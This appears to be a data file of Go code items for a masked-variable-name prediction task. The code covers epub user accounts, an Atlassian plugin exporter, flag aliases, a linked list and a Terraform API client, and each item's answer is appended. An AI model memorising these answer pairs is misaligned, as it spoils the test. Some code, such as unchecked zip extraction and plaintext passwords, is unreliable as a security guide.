type ReadingPos struct { Link string `yaml:""link""` Percentage string `yaml:""percentage""` } type Book struct { Id string `yaml:""id""` Name string `yaml:""name""` Path string `yaml:""path""` CoverPath string `yaml:""cover_path""` Opf string `yaml:""opf""` ReadingPos ReadingPos } type User struct { Id string `yaml:""id""` Name string `yaml:""name""` Pw string `yaml:""pw""` Books []Book `yaml:""books""` } var AccFolder string = ""./acc"" var YamlExt string = "".yaml"" var CoverTagName string = ""cover"" var EpubExt = "".epub"" var OpfExt = "".opf"" var LastTimestamp int64 = 0 var randomNum int = 0 func Init() { rand.NewSource(time.Now().UnixNano()) } func CreateUser(id string, name string, pw string) { u := User{id, name, pw, []Book{}} u.Save() } func IsUserExist(id string) bool { accFilePath := filepath.Join(AccFolder, id+YamlExt) _, err := os.ReadFile(accFilePath) return err == nil } func GetUserById(id string) (*User, error) { user := User{} accFilePath := filepath.Join(AccFolder, id+YamlExt) bytes, err := os.ReadFile(accFilePath) if err != nil { if os.IsNotExist(err) { fmt.Println(""user is not exist"") } return &user, err } yaml.Unmarshal(bytes, &user) return &user, nil } func (u *User) AddBook(bookAbsName string) { if filepath.Ext(bookAbsName) == EpubExt { book, err := u.UnzipAndGenerateEpubWebInfo(bookAbsName) if err != nil { fmt.Println(err) } u.Books = append(u.Books, *book) u.Save() } else { fmt.Println(""It is not a epub file"") } } func (u *User) DelBook(epubsRelPath string) { books := u.Books found := -1 for index, book := range books { if book.Path == epubsRelPath { found = index break } } if found != -1 { u.Books = append(books[:found], books[:found+1]...) } } func (u *User) GetBookInfo(id string) (*Book, error) { books := u.Books for index, bookinfo := range books { if bookinfo.Id == id { return &books[index], nil } } return nil, errors.New(fmt.Sprintf(""no book found with id %s"", id)) } func (u *User) Save() { bytes, err := yaml.Marshal(&u) if err != nil { fmt.Println(""save user data err"", err) } [MASK] := filepath.Join(AccFolder, u.Id+YamlExt) err = os.WriteFile( [MASK] , bytes, os.ModePerm) if err != nil { fmt.Println(err) } } func (u *User) UnzipAndGenerateEpubWebInfo(epubAbsPath string) (*Book, error) { var book Book e, err := epub.Open(epubAbsPath) if err != nil { return &book, err } defer e.Close() opf, err := e.Package() if err != nil { return &book, err } if len(opf.Metadata.Title) > 0 { book.Name = opf.Metadata.Title[0].Value } currentTimestamp := time.Now().Unix() if currentTimestamp != LastTimestamp { LastTimestamp = currentTimestamp randomNum = rand.Intn(2 ^ 16) } else { randomNum++ } timeStampHex := strconv.FormatInt(currentTimestamp, 16) indexHex := strconv.FormatInt(int64(randomNum), 16) if len(indexHex) > 4 { indexHex = indexHex[len(indexHex)-4:] } book.Id = timeStampHex + fmt.Sprintf(""%04s"", indexHex) // fmt.Println(""bookid"", book.Id, timeStampHex, randomNum, indexHex) book.Path = setting.ConfigYaml.GinEpubsStaticPath + epubAbsPath[len(setting.EpubsAbsPath):] metaTagList := opf.Metadata.Meta itemList := opf.Manifest.Items coverId := """" for _, metaTag := range metaTagList { if metaTag.Name == CoverTagName { coverId = metaTag.Content break } } coverRelPath := """" for _, item := range itemList { if coverId == item.ID { coverRelPath = item.Href break } } fileBaseName := filepath.Base(epubAbsPath) bookFolderName := strings.TrimSuffix(fileBaseName, filepath.Ext(fileBaseName)) for _, file := range e.File { fileAbsPath := filepath.Join(setting.UnzipAbsPath, bookFolderName, file.Name) if file.FileInfo().IsDir() { os.MkdirAll(fileAbsPath, os.ModePerm) continue } err = os.MkdirAll(filepath.Dir(fileAbsPath), os.ModePerm) if err != nil { fmt.Println(""mkdir err"", err) } fileReader, err := file.Open() if err != nil { fmt.Println(""open zip file err"", err) } defer fileReader.Close() _, err = os.Stat(fileAbsPath) if os.IsNotExist(err) { destFile, err := os.Create(fileAbsPath) if err != nil { fmt.Println(""create file err"", err) } defer destFile.Close() _, err = io.Copy(destFile, fileReader) if err != nil { fmt.Println(""copy failed"", err) } } if filepath.Base(file.Name) == filepath.Base(coverRelPath) { book.CoverPath = filepath.Join(setting.ConfigYaml.GinEpubsStaticPath, bookFolderName, file.Name) } if filepath.Ext(filepath.Base(file.Name)) == OpfExt { book.Opf = filepath.Join(setting.ConfigYaml.GinEpubsStaticPath, bookFolderName, file.Name) } } return &book, nil } ",accPath 759,"package main import ( ""context"" ""encoding/json"" ""flag"" ""fmt"" ""io/ioutil"" ""net/http"" ""os"" ""os/signal"" ""strconv"" ""syscall"" ""time"" log ""github.com/sirupsen/logrus"" ""github.com/hashicorp/go-version"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ) var ( baseURL string bearer string disableCol = true exporterName = ""Atlassian UPM Exporter"" metricNamespace = ""atlassian_upm"" address = flag.String(""svc.ip-address"", ""0.0.0.0"", ""assign an IP address for the service to listen on"") checkUpdates = flag.Bool(""check-updates"", false, ""check for updates available for each plugin. (1 connection per plugin)"") debug = flag.Bool(""debug"", false, ""enable the service debug output"") dropJiraSoftware = flag.Bool(""drop-jira-software-plugins"", false, ""remove plugins vendored by Atlassian when monitoring Jira"") dropDisabled = flag.Bool(""drop-disabled"", false, ""remove plugins if they are disabled"") enableColLogs = flag.Bool(""enable-color-logs"", false, ""when developing in debug mode, prettier to set this for visual colors"") fqdn = flag.String(""app.fqdn"", """", ""REQUIRED: provide the application fqdn to be monitored (ie. bitbucket.domain.com)"") help = flag.Bool(""help"", false, ""help will display this helpful dialog output"") port = flag.String(""svc.port"", ""9996"", ""can pass in the port to listen on."") protocol = flag.String(""app.protocol"", ""https"", ""set the protocol used to interact with the application"") token = flag.String(""app.token"", """", ""REQUIRED: provide a Basic access token to connect with"") userInstalled = flag.Bool(""user-installed"", false, ""if you would like 'user-installed' plugins only"") usageMessage = ""The Atlassian UPM (Universal Plugin Manager) Exporter is used to get the list\n"" + ""of plugins installed on the monitored system. Currently Bitbucket, Confluence\n"" + ""and Jira use the UPM to manage their plugins. These systems can be monitored\n"" + ""with this exporter, create one per application. The account that this container\n"" + ""will use to reach out and scrape will need to be a product Administrator to\n"" + ""that monitored Atlassian application.\n"" + ""\nMetrics Example:\n"" + ""atlassian_upm_collect_duration_seconds{url=''} 0\n"" + ""atlassian_upm_plugin{enabled='',installedVersion='',name='',url='',userInstalled=''} 0\n"" + ""atlassian_upm_plugin_version_available{availableVersion='',enabled='',installedVersion='',name='',url='',userInstalled=''} 0\n"" + ""atlassian_upm_rest_url_up{url=''} 0\n"" + ""\nReference:\n"" + ""https://confluence.atlassian.com/upm/universal-plugin-manager-documentation-273875696.html\n"" + ""\nUsage of atlassian_upm_exporter [Arguments]\n"" + ""\nArguments:\n"" ) // usage is a function used to display this binaries usage description and then exit the program. var usage = func() { fmt.Println(usageMessage) flag.PrintDefaults() os.Exit(0) } // atlassianUPMCollector is the structure of our prometheus collector containing it descriptors. type atlassianUPMCollector struct { atlassianUPMTimeMetric *prometheus.Desc atlassianUPMUpMetric *prometheus.Desc atlassianUPMPlugins *prometheus.Desc atlassianUPMVersionsMetric *prometheus.Desc } // newAtlassianUPMCollector is the constructor for our collector used to initialize the metrics. func newAtlassianUPMCollector() *atlassianUPMCollector { return &atlassianUPMCollector{ atlassianUPMTimeMetric: prometheus.NewDesc( metricNamespace+""_collect_duration_seconds"", ""metric used to keep track of how long the ""+exporterName+"" took to Collect"", []string{ ""url"", }, nil, ), atlassianUPMUpMetric: prometheus.NewDesc( metricNamespace+""_rest_url_up"", ""metric used to check if the ""+exporterName+"" rest endpoint is accessible (https:///rest/plugins/1.0/), value is true if up"", []string{ ""url"", }, nil, ), atlassianUPMPlugins: prometheus.NewDesc( metricNamespace+""_plugin"", ""metric used to display plugin information, value is 0"", []string{ ""enabled"", ""name"", ""key"", ""installedVersion"", ""userInstalled"", ""url"", }, nil, ), atlassianUPMVersionsMetric: prometheus.NewDesc( metricNamespace+""_plugin_version_available"", ""metric used to get back the application being monitored plugin versions available, value is true if update available"", []string{ ""name"", ""key"", ""availableVersion"", ""installedVersion"", ""enabled"", ""userInstalled"", ""url"", }, nil, ), } } // Describe is required by prometheus to add our metrics to the default prometheus desc channel func (collector *atlassianUPMCollector) Describe(ch chan<- *prometheus.Desc) { ch <- collector.atlassianUPMTimeMetric ch <- collector.atlassianUPMUpMetric ch <- collector.atlassianUPMPlugins ch <- collector.atlassianUPMVersionsMetric } // Collect implements required collect function for all prometheus collectors func (collector *atlassianUPMCollector) Collect(ch chan<- prometheus.Metric) { startTime := time.Now() log.Debug(""Collect start"") log.Debug(""create request object"") req, err := http.NewRequest(""GET"", baseURL, nil) if err != nil { log.Error(""http.NewRequest returned an error:"", err) } log.Debug(""create Basic auth string from argument passed"") bearer = ""Basic "" + *token log.Debug(""add authorization header to the request"") req.Header.Add(""Authorization"", bearer) log.Debug(""add content type to the request"") req.Header.Add(""content-type"", ""application/json"") log.Debug(""make request... get back a response"") resp, err := http.DefaultClient.Do(req) if err != nil { log.Debug(""set metric atlassian_upm_rest_url_up"") ch <- prometheus.MustNewConstMetric(collector.atlassianUPMUpMetric, prometheus.GaugeValue, 0, *fqdn) log.Warn(""http.DefaultClient.Do returned an error:"", err, "" return from Collect"") return } defer resp.Body.Close() if resp.StatusCode != 200 { log.Debug(""response status code: "", resp.StatusCode) } log.Debug(""set metric atlassian_upm_rest_url_up"") ch <- prometheus.MustNewConstMetric(collector.atlassianUPMUpMetric, prometheus.GaugeValue, 1, *fqdn) var [MASK] restPlugins if resp.StatusCode == 200 { log.Debug(""get all plugins"") [MASK] = plugins(resp) // return user-installed plugins if argument passed if *userInstalled { log.Debug(""-user-installed found"") [MASK] = userInstalledPlugins( [MASK] ) } // plugins have the ability to be installed, but disabled, this will remove them if disabled if *dropDisabled { log.Debug(""-drop-disabled found"") [MASK] = dropDisabledPlugins( [MASK] ) } // Jira specific // some plugins maintained by Jira have an additional element, this gives the option to drop those plugins if *dropJiraSoftware { log.Debug(""-drop-jira-software found"") [MASK] = dropJiraSoftwarePlugins( [MASK] ) } log.Debug(""range over values in response, add each as metric with labels"") for _, plugin := range [MASK] .Plugins { log.Debug(""creating plugin metric for: "" + plugin.Name) ch <- prometheus.MustNewConstMetric( collector.atlassianUPMPlugins, prometheus.GaugeValue, 0, strconv.FormatBool(plugin.Enabled), // convert bool to string for the 'enabled' value in the labels string(plugin.Name), string(plugin.Key), string(plugin.Version), strconv.FormatBool(plugin.UserInstalled), *fqdn, ) } } if resp.StatusCode == 200 && *checkUpdates { log.Debug(""get remaining plugins available info"") availablePluginsMap := getAvailablePluginInfo( [MASK] ) log.Debug(""range over values in response, add each as metric with labels"") for _, plugin := range availablePluginsMap { availableUpdate := false verInstalled, err := version.NewVersion(plugin.InstalledVersion) if err != nil { log.Debug(""error turning plugin installed into version object"") } verAvailable, err := version.NewVersion(plugin.Version) if err != nil { log.Debug(""error turning available plugin into version object"") } if verInstalled.LessThan(verAvailable) { log.Debug(""plugin: "", plugin.Name, "", is currently running: "", plugin.InstalledVersion, "", and can be upgraded to: "", plugin.Version) availableUpdate = true } log.Debug(""creating plugin version metric for: "", plugin.Name, "", with Key: "", plugin.Key) ch <- prometheus.MustNewConstMetric( collector.atlassianUPMVersionsMetric, prometheus.GaugeValue, boolToFloat(availableUpdate), string(plugin.Name), string(plugin.Key), string(plugin.Version), string(plugin.InstalledVersion), strconv.FormatBool(plugin.Enabled), // convert bool to string for the 'enabled' value in the labels strconv.FormatBool(plugin.UserInstalled), *fqdn, ) } } finishTime := time.Now() elapsedTime := finishTime.Sub(startTime) log.Debug(""set the duration metric"") ch <- prometheus.MustNewConstMetric(collector.atlassianUPMTimeMetric, prometheus.GaugeValue, elapsedTime.Seconds(), *fqdn) log.Debug(""Collect finished"") } // restPlugins structure associated with the rest/plugins/1.0/ endpoint. // Have dropped most of the response, can check with: curl -s -u @pol:$PA_PW https://bitbucket.polarisalpha.com/rest/plugins/latest/ | jq '.'""plugins""[0] type restPlugins struct { Plugins []struct { Enabled bool `json:""enabled""` Links struct { Self string `json:""self""` PluginSummary string `json:""plugin-summary""` Modify string `json:""modify""` PluginIcon string `json:""plugin-icon""` PluginLogo string `json:""plugin-logo""` Manage string `json:""manage""` } `json:""links""` Name string `json:""name""` Version string `json:""version""` UserInstalled bool `json:""userInstalled""` Optional bool `json:""optional""` Static bool `json:""static""` Unloadable bool `json:""unloadable""` Description string `json:""description""` Key string `json:""key""` UsesLicensing bool `json:""usesLicensing""` Remotable bool `json:""remotable""` Vendor struct { Name string `json:""name""` MarketplaceLink string `json:""marketplaceLink""` Link string `json:""link""` } `json:""vendor""` ApplicationKey string `json:""applicationKey,omitempty""` // only found on some jira plugins with this key being ""jira-software"" } `json:""plugins""` } // restPluginsAvailable is associated with the UPM /rest/plugins/1.0/available/-key JSON structure returned. // This is minimal for our uses and can be expanded if needed. type restPluginsAvailable struct { Name string `json:""name""` Version string `json:""version""` InstalledVersion string `json:""installedVersion""` Enabled bool `json:""enabled""` // doesn't exist in the available json, will copy the enabled value from the restPlugins json UserInstalled bool `json:""userInstalled""` Key string `json:""key""` } // rootHandler accepts calls to ""/"". This can be used to see if the service is running. func rootHandler(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, exporterName+"" is running"") log.Debug(r.RemoteAddr, "" requested "", r.URL) } // faviconHandler responds to /favicon.ico requests. // This is set to stop error logs from generating when certian browsers that request favicon.ico and the server doesn't have that page. func faviconHandler(w http.ResponseWriter, _ *http.Request) { fmt.Fprintf(w, """") } // plugins is used to get all of the plugins from the UPM rest api endpoint response. func plugins(resp *http.Response) restPlugins { log.Debug(""get the body out of the response"") body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Error(""ioutil.ReadAll returned an error:"", err) } log.Debug(""create the json map to unmarshal the json body into"") var restPluginsMap restPlugins log.Debug(""unmarshal (turn unicode back into a string) request body into map structure"") err = json.Unmarshal(body, &restPluginsMap) if err != nil { log.Error(""error Unmarshalling: "", err) log.Info(""Problem unmarshalling the following string: "", string(body)) } return restPluginsMap } // userInstalledPlugins goes over the provided plugins and drops any that are not user-installed. // During development we have decided to keep plugins that show up for administrators to click the update button, but are not user-installed func userInstalledPlugins(restPluginsMap restPlugins) restPlugins { log.Debug(""removing plugins that are not 'user-installed'"") var tempMap restPlugins for _, plugin := range restPluginsMap.Plugins { if bool(plugin.UserInstalled) { tempMap.Plugins = append(tempMap.Plugins, plugin) } else { switch plugin.Name { case ""Atlassian Universal Plugin Manager Plugin"": tempMap.Plugins = append(tempMap.Plugins, plugin) case ""Atlassian Troubleshooting and Support Tools"": tempMap.Plugins = append(tempMap.Plugins, plugin) default: log.Debug(""dropping: "", plugin.Name) } } } return tempMap } // dropDisabledPlugins goes over the provided plugins and drops any that are not Enabled. func dropDisabledPlugins(plugins restPlugins) restPlugins { log.Debug(""removing plugins that are disabled"") var tempMap restPlugins for _, plugin := range plugins.Plugins { if bool(plugin.Enabled) { tempMap.Plugins = append(tempMap.Plugins, plugin) } else { log.Debug(""dropping: "", plugin.Name) } } return tempMap } // dropJiraSoftwarePlugins goes over the provided plugins and drops any that are built by atlassian. func dropJiraSoftwarePlugins(plugins restPlugins) restPlugins { log.Debug(""removing plugins that have 'jira-software' for the 'key' value"") var tempMap restPlugins for _, plugin := range plugins.Plugins { if plugin.ApplicationKey == ""jira-software"" { log.Debug(""dropping: "", plugin.Name) } else { tempMap.Plugins = append(tempMap.Plugins, plugin) } } return tempMap } // getAvailablePluginInfo uses the given map of plugins and gets the available information for that plugin. // The map returned is an available structure. func getAvailablePluginInfo(restPluginsMap restPlugins) []restPluginsAvailable { var availablePluginsMap []restPluginsAvailable for _, plugin := range restPluginsMap.Plugins { log.Debug(""getting: "", plugin.Name, "", available info"") availablePluginURL := baseURL + ""available/"" + plugin.Key + ""-key"" log.Debug(""requesting URL: "" + availablePluginURL) req, err := http.NewRequest(""GET"", availablePluginURL, nil) if err != nil { log.Error(""http.NewRequest returned an error:"", err) } log.Debug(""add authorization header to the request"") req.Header.Add(""Authorization"", bearer) log.Debug(""make request... get back a response"") res, err := http.DefaultClient.Do(req) if err != nil { log.Error(""http.DefaultClient.Do returned an error:"", err) } defer res.Body.Close() if res.StatusCode != 200 { log.Debug(""response status code: "", res.StatusCode, "" continuing to next plugin"") continue } log.Debug(""get the body out of the response"") body, err := ioutil.ReadAll(res.Body) if err != nil { log.Error(""ioutil.ReadAll returned an error:"", err) } if len(body) < 1 { log.Debug(""body was empty, continue to next plugin"") continue } log.Debug(""create temp map object"") var tempMap restPluginsAvailable log.Debug(""unmarshal (turn unicode back into a string) request body into map structure"") err = json.Unmarshal(body, &tempMap) if err != nil { log.Error(""error Unmarshalling: "", err) log.Info(""Problem unmarshalling the following string: "", string(body)) } // add the enabled value from the plugin map to the available map tempMap.Enabled = plugin.Enabled log.Debug(""adding plugin: "", tempMap.Name, "", and Key: "", tempMap.Key) availablePluginsMap = append(availablePluginsMap, tempMap) } return availablePluginsMap } // boolToFloat converts a boolean value to a float64 func boolToFloat(b bool) float64 { if b { return 1 } return 0 } func main() { flag.Parse() // Can't log.Debug, because it doesn't exist at the moment // check if help has been passed if *help { usage() } // check for required arguments if *fqdn == """" { fmt.Printf(""-app.fqdn must be provided\n\n"") usage() } if *token == """" { fmt.Printf(""-app.token must be provided\n\n"") usage() } // adjust the logrus logger if arguments passed if *enableColLogs { disableCol = false } log.SetFormatter(&log.TextFormatter{ FullTimestamp: true, DisableColors: disableCol, }) // check for debug argument if *debug { log.SetLevel(log.DebugLevel) log.Debug(""set log level to: debug"") } // Create a new instance of the Collector and then register it with the prometheus client. upmCollector := newAtlassianUPMCollector() prometheus.MustRegister(upmCollector) log.Info(""starting..."") log.Debug(""create http server listening at: "", *address, "":"", *port) srv := http.Server{ Addr: *address + "":"" + *port, } log.Debug(""add / handler"") http.HandleFunc(""/"", rootHandler) log.Debug(""add /favicon.ico handler"") // because browsers request /favicon.ico, we add a handler so our metrics don't get false calls http.HandleFunc(""/favicon.ico"", faviconHandler) log.Debug(""add /metrics handler"") http.Handle(""/metrics"", promhttp.Handler()) log.Debug(""set rest plugins url from arguments"") baseURL = *protocol + ""://"" + *fqdn + ""/rest/plugins/latest/"" log.Debug(""url: "", baseURL) log.Debug(""make a channel of type os.Signal with a 1 space buffer size"") ch := make(chan os.Signal, 1) // when a SIGNAL of a certain type happens, put it 'on' the channel signal.Notify(ch, os.Interrupt, syscall.SIGINT, syscall.SIGTERM, syscall.SIGKILL) log.Debug(""start the http server in a goroutine (pew -->)"") go func() { err := srv.ListenAndServe() if err != nil { log.Fatal(""ListenAndServe Error:"", err) } }() log.Info(exporterName, "" is ready to take requests at: "", *address+"":""+*port) // channels block, so the program will wait (stay running) here till it gets a signal s := <-ch log.Info(""SIGNAL received: "", s) close(ch) log.Debug(""signal channel closed"") log.Info(""shutting down http server..."") err := srv.Shutdown(context.Background()) if err != nil { // Error from closing listeners, or context timeout log.Fatal(""Shutdown error: "", err) } log.Info(exporterName, "" was gracefully shutdown"") } ",allPlugins 760,"// Copyright (C) 2014 Space Monkey, Inc. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package flagfile import ( ""flag"" ""fmt"" ) var ( all_aliases = make(map[string][]string) alias_set = make(map[string]bool) ) // Alias links two flag names together. If you have a particular flag that // needs to be configured by one flag name in one deployment and another name // in another deployment, Alias lets you link the two flag names together. It // is an error to configure both aliases with differing values. func Alias(new_flag_name, [MASK] string) { mtx.Lock() defer mtx.Unlock() if loaded { panic(fmt.Errorf(""flags already loaded"")) } alias_set[new_flag_name] = true all_aliases[ [MASK] ] = append( all_aliases[ [MASK] ], new_flag_name) } func isAlias(flag_name string) bool { return alias_set[flag_name] } // IsAlias returns true if the flag name is just an alias. False if the flag // was defined normally. func IsAlias(flag_name string) bool { mtx.Lock() defer mtx.Unlock() return isAlias(flag_name) } func mustLookup(flag_name string) *flag.Flag { val := flag.Lookup(flag_name) if val == nil { panic(fmt.Errorf(""flag %#v doesn't exist"", flag_name)) } return val } func defineAliases() { for flag_name, flag_aliases := range all_aliases { existing_flag := flag.Lookup(flag_name) if existing_flag == nil { panic(fmt.Errorf(""alias defined pointing to a non-existent flag %#v"", flag_name)) } for _, alias := range flag_aliases { flag.Var(existing_flag.Value, alias, existing_flag.Usage) } } } func setAliases() { for flag_name, flag_aliases := range all_aliases { flags := append([]string{flag_name}, flag_aliases...) var set_alias *string for _, flag := range flags { if !set_flags[flag] { continue } if set_alias != nil { panic(fmt.Errorf(""multiple aliases of flag %#v set"", flag_name)) } set_alias = &flag } if set_alias == nil { continue } set_alias_val := mustLookup(*set_alias).Value.String() for _, flag := range flags { if set_flags[flag] { continue } mustSet(flag, set_alias_val) } } } ",old_flag_name 761,"package list import ( ""fmt"" ""reflect"" ) type Root struct { head *Node tail *Node } func New() *Root { return &Root{} } func (r Root) Get(i int) *Node { if r.head == nil { return nil } if i == 0 { return r.head } [MASK] := r.head.next for { if i == 1 { return [MASK] } if [MASK] == r.tail { return nil } [MASK] = [MASK] .next i-- } } func (r *Root) Append(n *Node) *Root { if r.head == nil { r.head = n r.tail = n n.next = n return r } r.tail.next = n n.next = r.head r.tail = n return r } func (r *Root) Insert(n *Node) *Root { n.next = r.head r.head = n if r.tail == nil { r.tail = n } return r } func (r *Root) Reset() *Root { r.head = nil r.tail = nil return r } type Node struct { v interface{} next *Node } func (n *Node) Equal(e *Node) bool { if e == nil { return false } if !reflect.DeepEqual(n.v, e.v) { return false } return true } func (n *Node) Next() *Node { return n.next } func (n *Node) Value() interface{} { return n.v } func (n *Node) ToString() string { if n == nil { return fmt.Sprintf(""%v"", n) } v := fmt.Sprintf(""%+v"", n) c := n.next for c != n { v += fmt.Sprintf("" %+v"", c) c = c.next } return v } ",curr 762,"package client import ( ""context"" ""encoding/json"" e ""errors"" ""fmt"" ""io"" ""net/http"" ""strconv"" ""time"" client_v1 ""github.com/Roche/terraform-provider-foxops/internal/client/gen"" ""github.com/Roche/terraform-provider-foxops/internal/helpers"" ""github.com/Roche/terraform-provider-foxops/internal/provider"" ""github.com/deepmap/oapi-codegen/pkg/securityprovider"" ""github.com/hashicorp/go-retryablehttp"" ""github.com/hashicorp/terraform-plugin-sdk/v2/helper/logging"" ""github.com/pkg/errors"" ) //go:generate oapi-codegen -generate types,client -package client_v1 -o ./gen/client.gen.go ./openapi.json //go:generate mockgen -destination ./mocks/http_round_tripper_mock.go -package client_mocks ""net/http"" RoundTripper type client struct { impl client_v1.ClientInterface } type clientOptions struct { Transport http.RoundTripper } type ClientOption interface { apply(opts *clientOptions) } type clientTransportOption struct { transport http.RoundTripper } func ClientTransport(transport http.RoundTripper) clientTransportOption { return clientTransportOption{transport} } func (o clientTransportOption) apply(opts *clientOptions) { opts.Transport = o.transport } func New( endpoint provider.ClientEndpoint, [MASK] provider.ClientToken, version provider.Version, options ...ClientOption, ) provider.FoxopsClient { opts := &clientOptions{ Transport: http.DefaultTransport, } for _, opt := range options { opt.apply(opts) } provider, err := securityprovider.NewSecurityProviderBearerToken(string( [MASK] )) if err != nil { panic(err) } c, err := client_v1.NewClient( string(endpoint), client_v1.WithRequestEditorFn(provider.Intercept), ) if err != nil { panic(err) } retryableHttpClient := retryablehttp.NewClient() retryableHttpClient.HTTPClient = &http.Client{ Transport: helpers.NewTransport(string(version), logging.NewLoggingHTTPTransport(opts.Transport)), Timeout: 5 * time.Minute, } c.Client = retryableHttpClient.StandardClient() return &client{c} } func (c *client) checkResponseStatus(_ context.Context, expected int, resp *http.Response) (err error) { if resp.StatusCode != expected { var apiError client_v1.ApiError var body []byte body, err = io.ReadAll(resp.Body) if err != nil { err = errors.New(""failed to read response body"") return } err = json.Unmarshal(body, &apiError) if err != nil { err = errors.Wrap(err, ""failed to decode error message"") } else { err = errors.New(apiError.Message) } err = errors.Wrapf( err, ""unexpected status code %d, wants %d"", resp.StatusCode, expected, ) } return } func (c *client) GetIncarnation(ctx context.Context, id provider.IncarnationId) (inc provider.Incarnation, err error) { var resp *http.Response idInt, err := strconv.Atoi(string(id)) if err != nil { err = errors.WithStack(err) return } resp, err = c.impl.ReadIncarnationApiIncarnationsIncarnationIdGet(ctx, idInt) if err != nil { err = errors.WithStack(err) return } err = errors.WithStack(c.checkResponseStatus(ctx, http.StatusOK, resp)) if err != nil { return } inc, err = mapIncarnation(resp.Body) return } func (c *client) GetIncarnationWithMergeRequestStatus( ctx context.Context, id provider.IncarnationId, status string, ) (inc provider.Incarnation, err error) { for inc, err = c.GetIncarnation(ctx, id); err == nil; inc, err = c.GetIncarnation(ctx, id) { if inc.MergeRequestId == nil { return } if inc.MergeRequestStatus != nil && *inc.MergeRequestStatus == status { return } time.Sleep(time.Second) } return } func (c *client) CreateIncarnation( ctx context.Context, req provider.CreateIncarnationRequest, ) (inc provider.Incarnation, err error) { var resp *http.Response body := client_v1.CreateIncarnationApiIncarnationsPostJSONRequestBody{ IncarnationRepository: req.IncarnationRepository, TargetDirectory: req.TargetDirectory, TemplateData: map[string]client_v1.DesiredIncarnationState_TemplateData_AdditionalProperties{}, TemplateRepository: req.TemplateRepository, TemplateRepositoryVersion: req.TemplateRepositoryVersion, } for key, ivalue := range req.TemplateData { data := &client_v1.DesiredIncarnationState_TemplateData_AdditionalProperties{} if value, ok := ivalue.(client_v1.DesiredIncarnationStateTemplateData0); ok { err = e.Join(err, data.FromDesiredIncarnationStateTemplateData0(value)) } else if value, ok := ivalue.(client_v1.DesiredIncarnationStateTemplateData1); ok { err = e.Join(err, data.FromDesiredIncarnationStateTemplateData1(value)) } else if value, ok := ivalue.(client_v1.DesiredIncarnationStateTemplateData2); ok { err = e.Join(err, data.FromDesiredIncarnationStateTemplateData2(value)) } body.TemplateData[key] = *data } if err != nil { err = errors.WithStack(err) return } resp, err = c.impl.CreateIncarnationApiIncarnationsPost( ctx, &client_v1.CreateIncarnationApiIncarnationsPostParams{}, body, ) if err != nil { err = errors.WithStack(err) return } err = errors.WithStack(c.checkResponseStatus(ctx, http.StatusCreated, resp)) if err != nil { return } inc, err = mapIncarnation(resp.Body) return } func (c *client) UpdateIncarnation( ctx context.Context, id provider.IncarnationId, req provider.UpdateIncarnationRequest, ) (inc provider.Incarnation, err error) { var resp *http.Response body := client_v1.UpdateIncarnationApiIncarnationsIncarnationIdPutJSONRequestBody{ Automerge: req.AutoMerge, TemplateData: &map[string]client_v1.DesiredIncarnationStatePatch_TemplateData_AdditionalProperties{}, TemplateRepositoryVersion: &req.TemplateRepositoryVersion, } for key, ivalue := range req.TemplateData { data := &client_v1.DesiredIncarnationStatePatch_TemplateData_AdditionalProperties{} if value, ok := ivalue.(client_v1.DesiredIncarnationStateTemplateData0); ok { err = e.Join(err, data.FromDesiredIncarnationStatePatchTemplateData0(value)) } else if value, ok := ivalue.(client_v1.DesiredIncarnationStateTemplateData1); ok { err = e.Join(err, data.FromDesiredIncarnationStatePatchTemplateData1(value)) } else if value, ok := ivalue.(client_v1.DesiredIncarnationStateTemplateData2); ok { err = e.Join(err, data.FromDesiredIncarnationStatePatchTemplateData2(value)) } (*body.TemplateData)[key] = *data } if err != nil { err = errors.WithStack(err) return } idInt, err := strconv.Atoi(string(id)) if err != nil { err = errors.WithStack(err) return } resp, err = c.impl.UpdateIncarnationApiIncarnationsIncarnationIdPut( ctx, idInt, body, ) if err != nil { err = errors.WithStack(err) return } err = errors.WithStack(c.checkResponseStatus(ctx, http.StatusOK, resp)) if err != nil { return } inc, err = mapIncarnation(resp.Body) return } func (c *client) DeleteIncarnation( ctx context.Context, id provider.IncarnationId, ) (err error) { var resp *http.Response idInt, err := strconv.Atoi(string(id)) if err != nil { err = errors.WithStack(err) return } resp, err = c.impl.DeleteIncarnationApiIncarnationsIncarnationIdDelete( ctx, idInt, ) if err != nil { err = errors.WithStack(err) return } err = errors.WithStack(c.checkResponseStatus(ctx, http.StatusNoContent, resp)) if err != nil { return } return } func mapIncarnation(body io.Reader) (inc provider.Incarnation, err error) { var data client_v1.IncarnationWithDetails err = errors.WithStack(json.NewDecoder(body).Decode(&data)) if err != nil { return } inc = provider.Incarnation{ Id: provider.IncarnationId(fmt.Sprintf(""%d"", data.Id)), IncarnationRepository: data.IncarnationRepository, TargetDirectory: data.TargetDirectory, TemplateData: make(map[string]interface{}), TemplateRepository: *data.TemplateRepository, TemplateRepositoryVersion: *data.TemplateRepositoryVersion, MergeRequestUrl: data.MergeRequestUrl, CommitSha: data.CommitSha, CommitUrl: data.CommitUrl, MergeRequestId: data.MergeRequestId, } if data.MergeRequestStatus != nil { status, ok := (*data.MergeRequestStatus).(string) if ok { inc.MergeRequestStatus = &status } } if data.TemplateData != nil { var templateDatum interface{} var newErr error for key, value := range *data.TemplateData { if templateDatum, newErr = value.AsIncarnationWithDetailsTemplateData0(); newErr == nil { inc.TemplateData[key] = templateDatum } else if templateDatum, newErr = value.AsIncarnationWithDetailsTemplateData1(); newErr == nil { inc.TemplateData[key] = templateDatum } else if templateDatum, newErr = value.AsIncarnationWithDetailsTemplateData2(); newErr == nil { inc.TemplateData[key] = templateDatum } err = e.Join(err, newErr) } } return } ",token 763,"package main import ( ""context"" ""fmt"" ""iter"" ""log"" ""os"" mi ""github.com/takanoriyanagitani/go-mmap2ints"" . ""github.com/takanoriyanagitani/go-mmap2ints/util"" ) var envVarByKey func(key string) IO[string] = Lift( func(key string) (string, error) { val, [MASK] := os.LookupEnv(key) switch [MASK] { case true: return val, nil default: return """", fmt.Errorf(""env var %s missing"", key) } }, ) func printQword(i uint64) IO[Void] { return func(_ context.Context) (Void, error) { _, e := fmt.Printf(""%016x\n"", i) 